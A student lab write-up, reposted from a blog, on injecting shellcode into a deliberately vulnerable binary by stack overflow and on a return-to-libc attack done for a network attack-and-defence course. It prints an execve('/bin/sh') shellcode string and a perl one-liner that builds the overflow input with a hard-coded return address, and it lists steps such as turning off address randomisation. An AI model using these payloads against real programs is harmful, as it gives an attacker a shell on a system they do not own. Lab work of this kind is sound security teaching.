zoukankan      html  css  js  c++  java
  • 20145315《网络对抗》——注入shellcode以及 Return-to-libc攻击实验

    shellcode

    准备一段Shellcode

    我用的老师的shellcode:x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00

    环境设置

    • 设置堆栈可执行
    • 关闭地址随机化

    然后,跳进了坑里

    • 用结构为:nops+shellcode+retaddr进行了shellcode注入
    • 6个nop+shellcode+返回地址,返回地址先用x4x3x2x1代替,之后确定具体值
    • 准备好了注入文件用00结尾
    • 然后把shellcode注入pwn1

    确定注入的shellcode的地址

    • 打开一个新的终端,进行GDB调试
    • 设置断点
    • 寻找esp指向的地址
    • 在附近寻找shellcode的地址
    • 然后继续执行,确定返回地址所占的位置是否正确

    失败了

    然后,把x4x3x2x1替换为内存中shellcode的地址
    注入后运行shell,失败,原因是指令被覆盖了

    从坑里爬起来继续

    • 这次构造的是结构为:anything+retaddr+nops+shellcode
    • perl -e 'print "A" x 32;print "x30xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    • 成功

    Return-to-libc攻击实验

    准备工作,使用另一个 shell 程序(zsh)代替/bin/bash。

    漏洞程序

    • retlib
    • 编译该程序,并设置 SET-UID

    读取环境变量的程序

    攻击程序

    获取内存地址

    gdb 获得 system 和 exit 地址

    修改 exploit.c 文件,填上刚才找到的内存地址

    攻击

  • 相关阅读:
    WEB上传大文件解决方案
    上传大文件的解决方案
    网页文件断点上传
    超大文件上传方案(B/S)
    asp.net选择文件夹上传
    java文件断点上传
    超大文件上传方案(网页)
    web选择文件夹上传
    jsp选择文件夹上传
    jsp文件断点上传
  • 原文地址:https://www.cnblogs.com/5315hejialei/p/6522882.html
Copyright © 2011-2022 走看看